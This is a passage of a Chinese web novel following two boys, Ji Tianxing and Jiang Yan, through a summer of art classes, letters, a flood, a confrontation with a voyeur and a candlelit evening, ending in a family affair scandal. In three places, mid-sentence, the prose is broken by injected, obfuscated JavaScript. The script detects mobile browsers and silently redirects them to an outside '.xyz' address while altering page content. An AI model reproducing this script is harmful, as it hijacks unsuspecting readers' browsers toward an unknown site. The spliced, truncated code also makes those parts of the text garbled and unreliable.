“人生下来,哪有不吃苦的。”江晏幽幽叹了口气,汗顺着额角淌下来。 “那能少吃一点当然要少吃一点呀。”纪天星理所当然道。 两个人时不时闲聊一句,四十分钟很快就过去了,江晏浑身透湿,双腿开始有点发抖。他看了一眼手表,站起来简单活动了一下,和纪天星一起进楼去了。 训练室里还在有模有样地教学。纪天星趴在门口,好奇地往里看。江晏在他身后,给他小声介绍,这个是哪个师兄,那个又是哪个师兄。有一个师兄得过区里的青年武术冠军,还有一个名气比较大的不在这里,现在在省武术队里做教练。 他们说着话,有一个二十出头的年轻人过来,很不高兴道:“是来上课的么?” “不是。”纪天星干脆道。 “那怎么在这儿乱看。”那个年轻人道:“这里是要交学费的。”又对江晏道:“你怎么随便带外人进来。” 江晏撩起T恤撩起,擦了把脸上的汗,心平气和道:“这是我朋友。还有,小于哥,师父在的时候,你得叫我师叔。” “你跟我装上了是吧。”那个年轻人皱眉。 “我辈分就是比你大。”江晏把体恤重新拉整齐,慢条斯理道:“我四岁就跟着师父了。要不你把大师兄喊过来,问问他怎么说。” 众所周知,于叔脾气不好,老于头又把规矩看得重。小于被呛了一顿,只得皱着眉头走了,临走还要端着面子,嘟囔道:“要玩儿上别处玩儿去,别影响教学。” 讨厌的人走远了。 纪天星感叹道:“哇,好有气势。还以为你脾气很好呢。” “我脾气一点儿也不好。”江晏淡淡道:“我只是特能忍。” 纪天星想了想:“不对,你也不是能忍,你是懒得理。”他非常有自知知明道:“其实那也还是脾气好。真的脾气不好,应该是我这样儿的。” 江晏噗地一声笑了:“原来你知道啊。” “当然知道啦。”纪天星撇嘴:“但有的人就是很讨厌么,那又不是我的错。”他拉起江晏的手:“我们去别的地方看看!” 另一边是跆拳道馆,师父带一大堆徒弟,每踢一脚就“嘿!”“哈!”地喊,还哇哇叫着空手劈砖头,看起来比武馆这边的气势大多了。 纪天星捂了眼睛:“看着手疼,快走快走!” 于是又到楼上去。楼上也没有更好一些,怪吵的。乐器班教萨克斯和长笛,此起彼伏的声音混在一起,真是相当难听。对面是乒乓球训练室,鸡蛋黄一样的乒乓球满地乱飞,纪天星看得头晕,于是赶紧又换了地方,再往楼上去。 三楼就好多了。舞蹈教室里都是小姑娘,老师是个漂亮阿姨,大家穿着小裙子,个个是轻盈美丽的模样。女老师看见门口探头的纪天星和江晏,还冲他们笑了一下,食指在唇前轻轻一竖——让他们不要出声打扰。可比江晏的那位师侄强多了。 纪天星看了一会儿,发现小姑娘们也要压腿,压起腿来也是鬼哭狼嚎的。于是赶紧又跑了。对面是几家书画班,他挨个看了一会儿,最后在一个素描教室门口停住了。 学生没几个,都在低头画石膏像。老师是个老太太,也坐在石膏像后头画画,看见探头探脑的孩子们,很慈祥地笑了一下,又低头继续画她的画儿了。画了一会儿,又若有所思地抬起头,多看了纪天星几眼。 被人多看几眼是纪天星的日常。所以他仍然很大方地趴在那里,看着老师眼前的画板。铅笔线稿成型很快,老师画的是教室和学生。 纪天星着迷地看了好半天,觉得比自己画得好太多了。 他难得安静下来,江晏也就耐心地站在他身后。 老师终于画好了,放下画板,起身去检查学生们的进度了。 纪天星恋恋不舍地回头:“走吧。” 他们又跑下去。 看见一楼的挂钟,才发现不知不觉已经十点多了——原来他们在素描教室门口呆了那么久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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红烧牛肉面里的大块牛肉炖得酥烂无比,面条虽然有点粗硬,但入口非常劲道,甚至能吃出麦子的香气。老板娘高大健壮的,一边毫不吝啬地给顾客往碗里加辣椒油,一边中气十足地喊后厨下面。 纪天星和江晏在小桌上头对头地吸溜面条。江晏胃口很好,一海碗面,加了许多香醋和辣椒油,很快就下去了大半——他心情好的时候饭量也很惊人。 纪天星还没吃几口:“给你拨点吧,这边我没动呢。” “不用。”江晏道:“她家面是随便添的,吃饱为止。”说着,他起身又去要了一大碗清水面,回来直接扣在了自己碗里。 红烧牛肉很好吃,面汤也鲜香浓郁,而且完全不咸,喝下去激起一身热汗。江晏点面时加了一块钱,所有他们的碗里各自还额外有一个卤蛋。这大概是纪天星搬到安乐里来吃过的最好吃的一顿面。他很有滋味地嚼着粗面条,目光却往店外看望去。 玻璃门外,阳光落在老旧的人行道上,露出了夏天的样子。 “下午看起来会是晴天。”他小声道:“不知道去钓鱼来不来得及。” “也不好说。”江晏回头看了一眼外面:“不过不一定去钓鱼。”他笑起来:“江边的花市你去过么?夏天可热闹呢。” “那去看花也很好!”纪天星立刻赞同道。 “其实要不是时间紧,也可以去捡蘑菇的。”江晏有点惋惜:“江北过了桥,有片野松林,夏天下过雨之后,总有好多松茸。” “你马上要回姥姥家去了么。”纪天星小声道。 “嗯,明天就走了。”江晏安慰道:“不过没事的,村里小卖部有公用电话,我打电话给你。” “嗯……”纪天星道:“那,邮递员是不是也能到你们那里呀?” “到的呀,邮递员哪里都能到。”江晏看着他手边的信封,弯了弯眼睛。 纪天星拉过小桌边拴着的圆珠笔:“那你把地址写一下,我寄信给你。” 江晏写好了地址,纪天星认真折起来,把信封揣进裤兜。然后两个人一起闷头吸溜面条,两大海碗面条很快都见了底。 更多的客人涌进了面馆,店铺很快变得闷热。他们放下空碗,从人堆中挤了出去。 外头暖洋洋的,带着雨后特有的那种湿润清爽。 两个孩子肩并肩,脚步轻快地从沙沙作响的行道树底下走过,向着江畔而去。 13.夏雨绵 4 江晏去乡下过暑假,没人能总是陪纪天星一起玩儿了。 有时候他会去找一条巷子里的郑贺说话。郑家的酱铺子离永和大院儿不远。夏天吃蘸酱菜,纪天星总去买大酱和豆瓣酱,和这位小朋友飞快地亲近起来。 小贺子瘦瘦小小,为人很是和气,似乎比江晏的脾气还要好上一些。他姐姐郑鸣也是温温柔柔的,偶尔纪天星有不会的暑假作业拿去问她,她都能给出完美的答案。但郑家的酱铺子总是很忙,有永远都做不完的活儿——姐弟俩的妈妈不舍得花钱雇人,所以偌大的酱铺子,是母子三个在努力维持的。 郑鸣一个十四岁的姑娘,白天要干活,做全家人的饭,偶尔还得去给母亲买药和熬药,晚上才能学习。小贺子也没好到哪里去,天天在院子里筛黄豆。偏偏今年夏天雨水又多。雨落进来,酱就要坏掉。于是不得不跑来跑去移动那些沉重的坛子,把院子里的酱缸都用塑料布紧紧扎起来。这种境况下,他再想像春天时那样出去和小伙伴们一起撒欢儿,简直是门儿都没有——家里的生计都快被泡坏了,谁还有心思满街乱跑呢。纪天星觉得就是因为太累了,所以这位小伙伴才三天两头就感冒。 所以他去找小贺子,也只能是和这位小朋友说说话,陪他挑挑黄豆。李同顺和祁斌偶尔也会过来帮忙,只是谁都不敢留太久。留久了,郑家婶子就要招呼他们吃饭。半大小子个顶个的能吃,可小贺子家里又是这样,于是自然谁也不好意思,往往只能呆一会儿就走了。 但姐弟两个好像并不觉得生活有什么辛苦。郑贺总是很乐天地说,他们家“还行了”,“挺好了”。纪天星顺着长乐巷往深处望去,觉得小贺子说的似乎也没什么不对。 长长的长乐巷,住着好多人家。他看着他们,从他们的表情,衣着,一言一行里,窥见了许许多多从前不曾留意过的东西。这些人组成了长乐巷,他们的生活就是长乐巷的生活,而长乐巷的生活,如今也是纪天星的生活一部分了。 但那只是很小很小的一部分。在姥姥家那个整洁的小房子里,在离长乐巷很远很远的远方,他还有许许多多其他的,属于自己的东西——那也是他的生活。 比如,他开始去水塔艺校三楼上素描课了。 纪天星和姥姥说起这个事的时候,姥姥二话没说就答应了。大概是因为纪有年从前的工作,画画在何玉秋眼里并非不务正业,反而是一门正经的“手艺”。再说了,小孩子难得能有个安静的事情做,在大人眼里,总比满街乱跑要好——反正只是暑假上课,不耽误学习就成。 素描课原本要二十块一节,在这个普通人月工资只有五六百块钱的时候,算得上一笔挺大的开支了。但何玉秋带纪天星过去报名,意外地发现老师是一位熟人——老太太是纪有年一位同事的妻子。两位老太太多年音讯隔绝,意外再见,聊起从前的事,聊起各自的儿女和丈夫,都有些唏嘘。唏嘘过后,又说起纪天星上课的问题,拉扯一番,最后按半价收了学费。 于是何玉秋把纪有年留在阁楼里的画材挑挑拣拣,找出纪天星能用的,让他一周两次背着小画板去上课了。 纪天星难得能安静坐很久,坐起来也并不觉得累。画画是开心的事,他回到家里,把这份开心分享给姥姥,也通过信纸分享给远在天边的纪妙菲,和离得不是很远的江晏。 纪妙菲收到了信,却没有给他回信,只是打电话过来——大概是因为太忙了,所以她宁可花长途电话费。倒是江晏的信每隔三五天就会出现在永和大院儿门洞的邮箱里。 小孩子的信里能有什么呢,无非就是生活里的鸡毛蒜皮。昨天下了雨,今天没下雨,昨天买到了新橡皮,今天吃到了烤玉米……他们分享这些小小的事,好像仍然常常在一起玩儿一样。 纪天星没多久就攒起了厚厚一叠信。纪妙菲寄过来的点心吃完了,他把信收在了装点心的铁皮盒子里,估摸着多久能攒够满满一盒——这也是件想想就很快乐的事。 八月初的时候,纪妙菲又寄来了包裹,里头有一盒全新的CD随身听,几张古典音乐的CD,还有一台遥控小汽车。小汽车挺好的,可惜外壳是深蓝色。纪天星在电话里说过要红的,纪妙菲大概是没买到,又或者是忘记了——她忘记纪天星叮嘱的事,也不是一回两回了。 收到礼物本来是很高兴的,但因为颜色不是自己想要的,好像又没那么高兴了。纪天星闷闷不乐地玩了一会儿,就把小汽车收起来了。现在不是以前了,以前他想要什么东西,是非要攥在手里不可的,不然就会大闹——反正到了最后纪妙菲总会满足他,因为无非就是花钱的事儿。小汽车买错颜色了,那只要再买一台就好。 现在不行了。 纪天星像大人那样长长地叹了口气,摸到灶台边,想找点吃的。最近他有一颗牙齿松动了,吃东西时总忍不住小心翼翼,搞得每天都没什么胃口。而何玉秋太忙,也没有给他做什么好吃的。雨水不断,江堤上这些天一直在搞防汛,附近的国营饭店都在忙着主动为抗汛人员提供餐食,姥姥也就因此变得十分忙碌,每天天蒙蒙亮就出门,晚上天黑了才能回来。过水面就成了家里最常吃的东西,因为挂面好煮,配点酱和黄瓜葱丝,就是一顿饭了。 纪天星勉强吃了一些,实在吃不动了,于是只得放下碗筷,喝了许多水,算是混着水饱。 外头半晴不晴的,看不见太阳。最近已经连着下了好几天雨,听说江水涨得很厉害。天气预报说接下来还有暴雨,本地广播和电视一直播报预警信息。 姥姥一边叨叨年景不好,一边忙里偷闲,在家中囤了好些吃的。纪天星也趁着雨停的时候,把棚子里的空铁桶都翻了出来,拎了好几桶木头绊子和蜂窝煤放在灶台边。 他收拾好碗筷,又检查了一下家里的东西,突然发现蜡烛剩得不多了——最近因为雨水,常常会停电,蜡烛也就用得很快。他的铅笔和画纸也快用完了,最好还是囤一些。这样想着,便起身出门去了。 素描铅笔需要不同的型号,普通文教店没有那么全的货,只能到上码头路的百货商店去买。 纪天星一路走过去。长乐巷还算干爽,树西路有些地势低洼的地方浅浅的积着水,许多细树枝带着叶子飘在水上。有好心人在水深的地方铺了砖头和木头方子,纪天星踩着砖头小径摇摇晃晃地走过去,感觉心里好像又不那么闷了——因为真的有点好玩儿。 只是一到了百货商店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442308|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那点开心就没了。商店里人多得吓人。大家一边聊着暴雨预警,一边很急切地买东西。因为下了雨之后,交通肯定就不方便了,许多东西搞不好要断货。 大概是出门前喝水喝得太多,纪天星在人群里挤来挤去,只感到很想上厕所。于是越发郁闷起来。 好在文教柜台前人并不多。他终于排除万难挤过去,买到了自己想要的文具。售货员阿姨见他买的是画纸,特地用塑料膜和橡皮筋给他里三层外三层地裹了好一会儿。纪天星认真道谢,拿着买好的东西又从人堆里往外挤。 出了百货公司大门,他犹豫了一下,还是往旁边那条小街上走去——那里有一个公共厕所。 纪天星不怎么喜欢公共厕所。安乐里大部分公厕都是老式的旱厕,几块破木板搭在黑漆漆,深幽幽上的茅坑上,踩上去咯吱摇晃不说,尤其一到了夏天,味道简直冲得人头晕。 而且不知道为什么,关于公共厕所的女厕所,总有许多恐怖的故事。基本上隔三差五,就会有流言传出来,某某女厕有尸体,某某女厕有鬼。故事大同小异的,来源不明,谁也说不清到底是指哪个公厕,于是好像每个公厕都是故事的发生地。 好在大白天的,恐怖故事的力量被削弱了不少。 纪天星找到了那个公厕,那附近静悄悄的,并没有什么人,大概是因为厕所门口积水太深了。附近不少公厕,这里不好进,去别的地方也一样。但他实在不想再找厕所了,于是踩着砖头一路蹦过去。 进门的时候,隐约感到好像有个影子晃了一下。 纪天星定神去看,又没看到什么。他想大概是自己吓自己,于是也没有多想。 飞快地解决完问题出来,纪天星在水池边洗了手。刚拧上水龙头,就感到好像哪里传来了沙沙的响动声,像是布料拖在地上——是女厕所那边的动静。 他有点害怕,又有点好奇。最终好奇心占了上风,他踮着脚轻轻走过去,往女厕的挡墙入口迈了一小步,向着里头悄悄看了一眼——反正那个位置只能看到女厕最外面那个坑位的挡墙,应当不算过分。 岂料这一看可不得了,有个人影正四肢着地趴在地上,顺着女厕所的挡墙往里爬呢! 那脑袋扭曲的姿势只能让纪天星想起鬼来。可谁家的鬼是大白天出来的? 纪天星在心脏狂跳中瞪大了眼睛,终于确认了那是个成年男人……对方也根本不是受伤或者残疾,而是正努力抻着脑袋,顺着女厕底下的破木头门缝往里瞅呢! 纪天星想都没想,扭头就往外跑,一边跑一边像小喇叭那样大声尖叫:“来人啊!快来人啊!有人在女厕所地上爬!!!” 这时候女厕所里也传来了惊恐的尖叫! 路人听见声音,纷纷跑过去。几个大婶冲进去,片刻后里头传来争吵声。 纪天星胸口起伏,心脏尤在狂跳。冷不丁一只手伸过来,按住了他的肩。 他受惊般地往外一躲,却看见了江晏的脸。 “怎么了?”江晏的脸比离开时晒黑了好几层,这会儿一条腿支着自行车,正很关切地望着他。 纪天星心里一松,差点哭出来:“你怎么也好像鬼啊!” 14.夏雨绵 5 江晏赶紧道歉:“吓到你了?是晒黑了点儿……”他看着纪天星,担忧道:“你没事儿吧?脸上怎么没血色儿啊?” 纪天星赶紧把刚刚发生的事说了。正说话间,那个变态被扭送出来了。几个大婶儿陪着一个年轻女孩也出来了。女孩一直在哭,好在看上去人是平安无事的。 江晏盯着那个变态瞅了片刻,又四下望了一圈儿。公厕门口人越积越多,都在看热闹,没人注意他们。他对纪天星道:“上来。” 纪天星手脚还在发软,迟钝地抬了抬手:“我好像……” 江晏安慰道:“没事儿,一会儿就好了。”他长臂一伸,把还没缓过来的纪天星捞到自行车大杠上,一手搂着人,另一只手抓着车把,稳稳当当地骑走了。 一直离那边很远了,纪天星才慢慢缓过来,他抓紧了车把中间,不解道:“我又没干坏事,你那么着急拉我走干什么?” “坏人有多坏,你都想不到。”江晏仍然搂着他的腰,解释道:“你没注意到那个人腰上别着□□么?他敢大白天钻女厕,要么是精神病,要么是胆子特别大。你捅破了他的坏事,万一被记恨上,就麻烦了。” “他没看见我……” “但别人看见了啊。”江晏道:“趁人没注意,早点儿离开为好。” 纪天星咕哝道:“你想的好多啊。” “小心点儿又没什么坏处。好心也不能把自己搭进去嘛。”江晏道:“你要是真有个三长两短,你姥姥该怎么办呢。” “哦。”纪天星闷闷道。 “不过你今天真的是救人一命了。”江晏认真道。 “我只是吓着了。”纪天星摇头:“你不知道,那个人趴在地上,跟鬼似的……” “不想他了。”江晏瞄了一眼他手上捏扁的画纸卷:“你要回家么?” “嗯。”纪天星抬起头:“诶,你什么时候回来的啊?” “今天早上。”江晏扭动车把,灵活地绕过一个积水的大坑:“乡下要忙抢收了。姥姥说过几天暴雨,路该不好走了,让我提前回来。” 纪天星看到了车把上挂着的袋子:“你这是要去哪儿啊。” “找你呀,结果你也不在家,我正要回去呢。”江晏很自然道:“带了点儿东西回来,给大家分分。他们几个的都已经送过去了。天气预报说过几天都是暴雨,又不好出门了。” “这是什么呀?”纪天星好奇道:“绿色的果子?” “是新鲜的核桃。老家有颗核桃树,今年熟得早。” 核桃挺好吃的,但纪天星现在不想吃核桃。他小声道:“哦,谢谢呀。” “你不喜欢吃核桃?”江晏一下子就听出来他在想什么了,倒也没有生气,甚至还带着点儿笑:“那你想吃什么呀?带馅儿的?路上有家买肉蛋堡的,要去买么?” “肉蛋堡是什么?是汉堡么?”纪天星来了精神。 “是放在圆模具里烙的饼。”江晏一边说话,一边始终看着前面的路:“里头有肉馅和鸡蛋。” “唉。”纪天星忧伤道:“那不是汉堡呀……我好想吃麦当当。” “麦当当?”江晏思索:“这里只有面当当,他家倒是也卖汉堡的。” 面当当什么的,一听就是假冒伪劣。但假冒伪劣这种东西,有时候也可以凑合。纪天星立刻道:“那我们去那里吧。” 自行车转了个弯儿,在一家叫“面当当”的面食铺子门前停了下来。 纪天星看着那个档口,玻璃柜里面当真有汉堡,但里头夹的不是炸鸡也不是肉饼,只是切丝的火腿肠。他失望极了:“那个酱是番茄酱么?” “是蒜蓉辣酱。”老板娘看了一眼天色,毫无热情道:“要么,十块钱一个。” “不要!”纪天星立刻心痛了。十块钱都够买二十个油盐烧饼了! “那吃点儿啥,不买我收摊儿了。” 纪天星饿了。他对着玻璃柜里所剩无几的面食东看西看,最后选了看着最顺眼的一种:“我要那个。”他指着一个花朵型的烤馒头说道。 江晏欲言又止。 “哦,杠头。”女老板拿了一个给他:“一块。” 纪天星掏出钢镚儿付了钱。 卖完了这份,店主人就从里头把窗口关起来了,看样子这是今天的最后一份生意了。 外头开始起风了,天色也在顷刻间变得更暗。江晏道:“要下雨了。” “嗯。”纪天星打开塑料袋:“我先吃一口。” 天上轰隆一声打了个响雷。 江晏提醒:“那个挺硬的……” 话说得太晚了,纪天星已经咬了下去。咬下去,就停住了。 “怎么了?” 纪天星张开嘴,吐出了一颗带血的牙。 中午只吃了凉面条,遥控小汽车不是红的,上厕所遇见坏蛋,没有汉堡吃,买个点心硬的像石头……牙还崩掉了。 纪天星哇地一声,大哭起来。 天上的雨哗一声泼下来,他抽噎了两声,紧接着用更高的声音嚎啕起来。 江晏终于麻了爪。他慌里慌张地捞起哇哇大哭的纪天星,再度放到车杠上,一溜烟儿往长乐巷骑去。 好不容易进了大门洞上了楼,两个人已经淋得像落汤鸡一样了。 何玉秋正提着伞匆匆往外跑,看见他们两个,终于松了口气:“哎呀,让大雨给拍道上了是不?快进来快进来。”看见哭得喘不上气的纪天星,又焦急起来:“这是咋的了?” “吃东西牙崩了。”江晏拎着东西,在旁边不太有底气道。 纪天星一边哭,一边给姥姥看他手心里攥着的牙。 “哦呦,那个本来就活动了么。掉了好,掉了旧的长新的,我们星星就是大人了。”何玉秋安下心来:“进来进来,这都淋透了。可别感冒了。” 回了家,风雨就都隔在外头了。 何玉秋照顾他们洗了澡,换了衣服。纪天星安静下来,两眼发直,时不时仍要抽搭一下。他好久都没这么惊天动地的哭过了。 姥姥端了姜汤过来给他们喝。纪天星喝了一口,又要掉泪:“好辣。” “放糖放糖。”何玉秋赶紧拿过糖罐子,加了一大勺红糖给他。 纪天星吸了吸鼻子,安静下去,坐在小马扎上默默喝汤。 何玉秋一边在灶台前忙碌,一边和江晏说话。不知怎么说起了江晏去乡下过暑假的事儿,发现他家也是金泉人,与何玉秋的籍贯一样。那地方离安乐里开车就三个多小时,安乐里有好几户人家,在那边都有亲戚。 何玉秋很惊喜:“我说呢,怎么看你都有点面熟。你姥姥家是不是也姓金?” 江晏点头:“我姥爷姓金,他们那里就那几个姓。姓金的,姓叶的,姓何的。“ 何玉秋笑道:“我就姓何,老家也是那里的。往上算一算,咱们两家搞不好还是亲戚。难怪你们投缘。” 江晏也笑:“我说呢,那就是真的有缘了。” 纪天星喝完了姜糖水,愣愣地抬头:“啊?” 何玉秋和江晏都笑了。 外头的天色越来越黑,暴雨没有要停下来的意思。何玉秋看了一眼时间,对江晏道:“好孩子,要么你今天晚上在这儿睡一宿吧。下了雨都是积水,就算雨停了,摸黑走夜路也不安全。高压线落水里可太要命了。” 江晏犹豫了一下。 纪天星这会儿已经不哭了,闻言立刻来了精神:“住一宿住一宿,快给你妈妈打电话。”他拉着江晏跑到客厅去。 江晏拨通了电话。 金宝珍听说他要在朋友家住,有点不大高兴,但也没什么,只让江晏把电话给大人接。何玉秋在围裙上擦了擦手,接过电话,很温柔和气地向金宝珍解释。 纪天星听着电话那头的语气愉快和缓下来。 江晏又拿过电话,母子间互相叮嘱了几句,就挂断了。 “同意了?”纪天星开心。 “嗯。”江晏露出了大大的笑容。 “太好啦!”纪天星欢呼:“晚上给你听我的新随声听!” 因为要下暴雨,何玉秋难得下班早,所以炖了个红烧肉。肉想要炖得好吃,总要花上很久,所以她叮嘱道:“姥姥累了,先去屋里眯一会儿,你看好砂锅,不要炖干了,到时候把鸡蛋和豆腐干都放进去。” “没问题!”纪天星拍着胸脯保证。他现在干这些小小的家务活已经很熟练了。 房间安静下来,只能听到外头的雷声和雨声。片刻后,家里的灯闪烁了几下,熄灭了。 “啊,又停电了。”纪天星嘟起了嘴。他摸索到柜子边上,拿过烛台:“我忘了买蜡烛……咦?” 烛台边上有一捆新蜡烛,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447899|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何玉秋下班时捎回来的。在过日子这件事上,没有谁比姥姥更稳妥了。 纪天星在炉灶引火的小门里点燃了蜡烛,把烛台放到了灶台上。红色的蜡烛,黄色的暖光,点亮了一方小小的天地,也把影子投在了墙壁上。 他伸出手,拇指交叠在一起,一只鹰便出现了:“你看!” 江晏凑近他,也举起了手:“这个我也会。”他一手握拳,拇指竖起,小指屈起,另一只手攥住那只手腕,把小指头翘了起来——墙上立刻多了一只摇尾巴的猫咪。 两个孩子比比画画,墙上的影子一会儿是螃蟹,一会儿是孔雀,后来又是梅花鹿,小狗和蝴蝶……最后纪天星变出了一只小兔,江晏立刻变成了大老虎。 大老虎凑近小兔子,贴了贴。 “哎呀,不玩儿了。”纪天星收回了手。 “还那么在意呀。”江晏笑他。 “谁在意啦,我看看红烧肉。”纪天星撇嘴。他用棉毛巾包住砂锅盖上的把手,把锅盖掀开了。浓厚的肉香飘了出来。纪天星用木头勺子翻搅了几下,又把锅盖盖回去了——肉还硬着。 他嘟囔道:“好饿。”说着找了个干净的洗碗抹布,把炉灶上的铸铁炉圈擦干净,又从菜篮子里翻出了两个小土豆洗了,切成条,放在了炉圈上。 江晏想了想:“你家里有粉条么?” “有呀。”纪天星道:“你想吃猪肉炖粉条么?” “不是。”江晏摇头:“你给我几根粉条。”他略微思索了一下,补充道:“还有花椒粒和盐……有别的香料就更好了。哦对,还要捣蒜缸子。” 纪天星把调味罐和捣蒜缸子都拿过来给他。然后好奇地看他忙碌起来。 江晏把花椒粒,孜然和一小瓣八角在炉圈上烤了烤,然后都丢进捣蒜缸子里,加了盐一起捣。捣成末之后,他把粉条掰成小段,放在了炉圈上。 灶台前的暖光里,半透明的粉条奇妙地膨胀起来,变成了一根根白色的东西,质地看上去很像某种膨化食品。他一面吹手指,一边把它们拿起来,都丢进了捣蒜缸子里:“尝尝。” 纪天星将信将疑地拿起一根沾了椒盐的烤粉条放进嘴里。又脆又香,还是热腾腾的。他惊喜道:“好吃!像卜卜星!”他嚼了嚼,又纠正道:“比卜卜星好吃!” “烤粉条。”江晏也拿了两根放在嘴里嚼起来:“我姥姥家也有灶台,闲得没事就烤点吃。” 他嚼完了粉条,又把核桃拿过来,剥了皮,用菜刀一个个撬开,都放到了炉圈上。 奇妙的香味很快和红烧肉的香气一起充满了小小的厨房。 外头的雨还在下,但纪天星忽然觉得下雨也很好。他和江晏一人一个小马扎,坐在灶台前,在小小的烛光里烤着炉火,充满期待地等着核桃土豆和红烧肉变熟。 可能需要等很久,但好像一直这样等着也没什么。 他在光亮里扭头看向江晏平和的脸,发现江晏也正在看他,目光有点严肃:“核桃其实会有点苦……” “没事。”纪天星道:“蘸糖吃!” 江晏愣了一下,忽然哈哈大笑。 纪天星赶紧嘘他:“你小声点,我姥姥睡觉呢。” 江晏憋着笑,脸涨得通红。 纪天星气得踩他的脚:“笑什么啊,到底哪里好笑?” 江晏不笑了。过了一会儿,他抬起头,眼睛在烛光里亮亮的:“星星,我们做一辈子的朋友吧。” 窗外雨声哗哗,他的声音不大,但很清楚,很郑重。 “朋友当然是一辈子的呀。”纪天星匪夷所思地看着他,忽然拧起眉毛:“难道你以前都不当我是朋友么!” “因为朋友也分很多种么……”江晏的声音小了一点。 “你怎么那么麻烦!”纪天星哀叹:“那我现在是哪种!是不是最重要的那种!”他生气了:“快说!” “是。”江晏重重点头。 纪天星满意了。烤土豆的香味飘过来,他起身伸出筷子去戳,听到江晏在那里小声自言自语:“一辈子难道还不是最重要的么?那三辈子?有点儿太长了吧……” “你说什么?”纪天星把筷子连土豆一起递给他。 “没什么。”江晏从黑漆漆的窗外收回目光,吹了吹,咬了一口土豆。然后他一本正经道:“嗯,你烤的土豆真好吃,下次我还来吃。” 15.秋老虎 1 八月初的暴雨持续了三天,安乐里遍地积水,出门简直要划小船了。到了积水退去的时候,日子便也入秋了。 整个街区都被淹过了一遍。虽说万幸没有谁因此受伤,但临街低楼层的居民和商户,都蒙受了不小的损失。街上到处都是维修人员,人们忙着清理东西。本来就狭窄老旧的街道,因此显得更凌乱了一些。 江晏家的店铺也没能幸免。好在暴雨有预警,所以金宝珍四处联系,提前把店后仓库里的东西都转移到了市中心体育场边的临时仓库去,店铺地上的东西也尽量都搬上了高处的货架,所以损失还在可控的范围内。但即便如此,中间也忙乱不堪,且不可避免地损坏和丢失了不少货物。 香烟是受潮了就卖不掉的。名酒也不是用来喝的,那是送礼用的,包装一坏,就要贬值。许多东西已经提前已经订了出去的,买家并不管卖家遇上了什么,只一味地要按时交货,所以生意人不免焦头烂额。 江显声那段时日正在外地出差,谈某个品牌白酒的本地独家代理。代理权好不容易谈下来了,但价格比预期要高。金宝珍对此颇有牢骚。江显声回来看见店铺这副样子,也是眼前一黑。好在两个人都把生意看得重要,所以倒能彼此捏着鼻子,齐心协力先收拾烂摊子。 江晏在边上看着他们,感觉日子虽然不甚稳妥,但眼下还可以过得下去。这就算是很好了,对他来说,属于难得的清净日子。 然而到了八月下旬,一个电话打进店里,这段还算过得下去的日子便猝然结束了。 那天金宝珍红着眼睛,生意也不管了,带着好几个人把江晏从武馆抓出来,开着拉货的小面包车直奔市一院。 江晏扫了一眼,二舅金宝河和舅妈徐倩都在,还有金宝珍的闺蜜杨彩霞,自己的二叔三叔。 这样的阵势,金宝珍要干什么一望即知。 江晏坐在面包车后面的角落里,听着前面的人咒骂和商讨。金宝珍一言不发,他也是。金宝珍在想什么,他不知道。他只是把脸贴在冰凉的车玻璃上,感到那种很浓的倦怠又从心底涌了上来。 这种事干嘛要带上我。他非常冷漠地想。我去到底有什么用? 去医院的路既长又短,不管江晏有多不情愿,最终他还是跟着大人们下了车。 江显声在外科病房里,正给一个满身是伤女人喂饭。看见老婆带着一大帮人蜂拥而至,神色居然相当镇定——他身边也带了人的,是几个仓库那边的员工。 金宝珍捉奸捉了许多年,都是捕风捉影。这一次是真的捉到了。 于是又是江晏熟悉的全武行。骂人的骂人,拉偏架的拉偏架。但这一次又有些不同——江显声护在那个女人前面,没有躲。 反倒是那个女人从病床上跌跌撞撞地爬下来,哭着抱住金宝珍的大腿,说千错万错都是自己的错,求她高抬贵手,不要再打江显声了。 金宝珍怒火冲天,但没有办法下手去打一个伤患,于是只能把病房里的暖水瓶砸到了江显声身上。 最后医院的保卫科赶过来,把所有人都从病房里清了出去。 病人受到刺激昏了过去,被拉去急救了,剩下的两方在走廊里头对峙。 这么多年了,有些事江晏也知道。那个女人叫谢小芸,是江显声的初恋情人,当初感情很好,本来是要结婚的。但对方家庭不好,而且没有正式工作。江晏爷爷那会儿大小是个卷烟厂的干部,死活不同意,把江显声关在家里捆起来打,愣是把这件事搅黄了。女人很快嫁了人,江显声颓丧了一段时间,经人介绍,娶了金宝珍。江晏的爷爷后来去世了,江显声不知怎么又和谢小芸联系上了。对方恋爱时怀过他的孩子,后来无法结婚,就做了人流。她离开了江显声匆匆另嫁,嫁的自然也不是什么很好的男人。结了婚又生不出孩子,加上以前和江显声的事人尽皆知,所以婆家和丈夫都对她很不好。再后来境况愈下,她丈夫下了岗,她作为一个有着“破鞋”名声的媳妇,挨打挨骂成了家常便饭。 江显声很痛心,隔三差五就偷偷帮她,送钱送东西的,这么多年没断过。但他做事很隐蔽,金宝珍只是听说,从来抓不到他的把柄。而且最重要的是,江显坚决不承认他和谢小芸有奸情,只说是帮朋友一把,所以每次金宝珍和他为此打架,最后都是不了了之。 